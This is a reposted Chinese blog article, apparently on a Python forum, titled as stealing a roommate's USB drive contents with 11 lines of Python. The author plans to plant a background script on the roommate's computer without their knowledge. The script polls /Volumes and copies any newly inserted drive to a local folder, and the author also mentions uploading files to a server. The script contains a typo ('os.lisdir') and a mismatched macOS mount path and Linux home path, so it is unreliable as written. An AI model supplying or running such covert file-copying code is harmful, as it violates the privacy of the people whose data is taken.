社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  Python

11行Python代码,盗取了室友的U盘内容

机器学习算法与Python学习 • 6 年前 • 799 次点击  

作者:Python新世界

来源:简书

链接:https://www.jianshu.com/p/3d7b2d9fe679

序言

那个猥琐的家伙整天把个U盘藏着当宝,到睡觉了就拿出来插到电脑上。

我决定想个办法看他U盘里都藏了什么,直接去抢U盘是不可能的,骗也是不可能的。那不是丢我Python程序员的脸?

我必须在电脑上智取,而且不能被他发现。

我的思路:

  • 当一个usb插入时,在后台自动把usb里的东西拷贝到本地或上传到某个服务器。

  • 那么我就可以先借他电脑玩一会,然后把我写好的Python程序在电脑后台运行。每当有usb插入的时候,就自动拷贝文件。

如何判断U盘是否插入?

首先打开电脑终端,进入/Volumes目录,然后插入U盘,能够看到它被挂载在了这个目录之下,那么,如果我们随时扫描这个目录,当这个目录有新文件夹出现时,应该就是有U盘被插入了。

用time.sleep(5)函数,让程序保持运行状态,并且每隔秒扫描一下/Volumes/目录,一出现新的文件夹,立马拷贝到另外的文件夹。

1# encoding=utf-8
2"""
3文件copy demo
4"""

5import os
6import shutil
7from time import sleep
8
9def copyCopy(usb_path):
10    # os.listdir(dir)返回dir下所有文件夹及文件的名称
11    usb_file = os.listdir(usb_path)
12    while True:
13        new_usb_file = os.lisdir(usb_path)
14        if new_usb_file != usb_file:
15            break
16        sleep(5)  #每隔5s扫描一次
17    file = [f for f in new_usb_file if f not in usb_file]
18    shutil.copytree(os.path.join(usb_path, file[0]), '/home/work/copyCopy')
19
20if __name__ == "__main__":
21    usb_path = "/Volumes/"
22    copyCopy(usb_path)


能够看到U盘在插入大约30s后全部复制到home目录下了。

我只能说到这里了。。。

推荐阅读

精选26个Python实用技巧,想秀技能先Get这份技术列表!

仅训练996个剧本,迪士尼用AI自动生成动画

教程 | NumPy常用操作

喜欢就点击“在看”吧!
Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/31988
 
799 次点击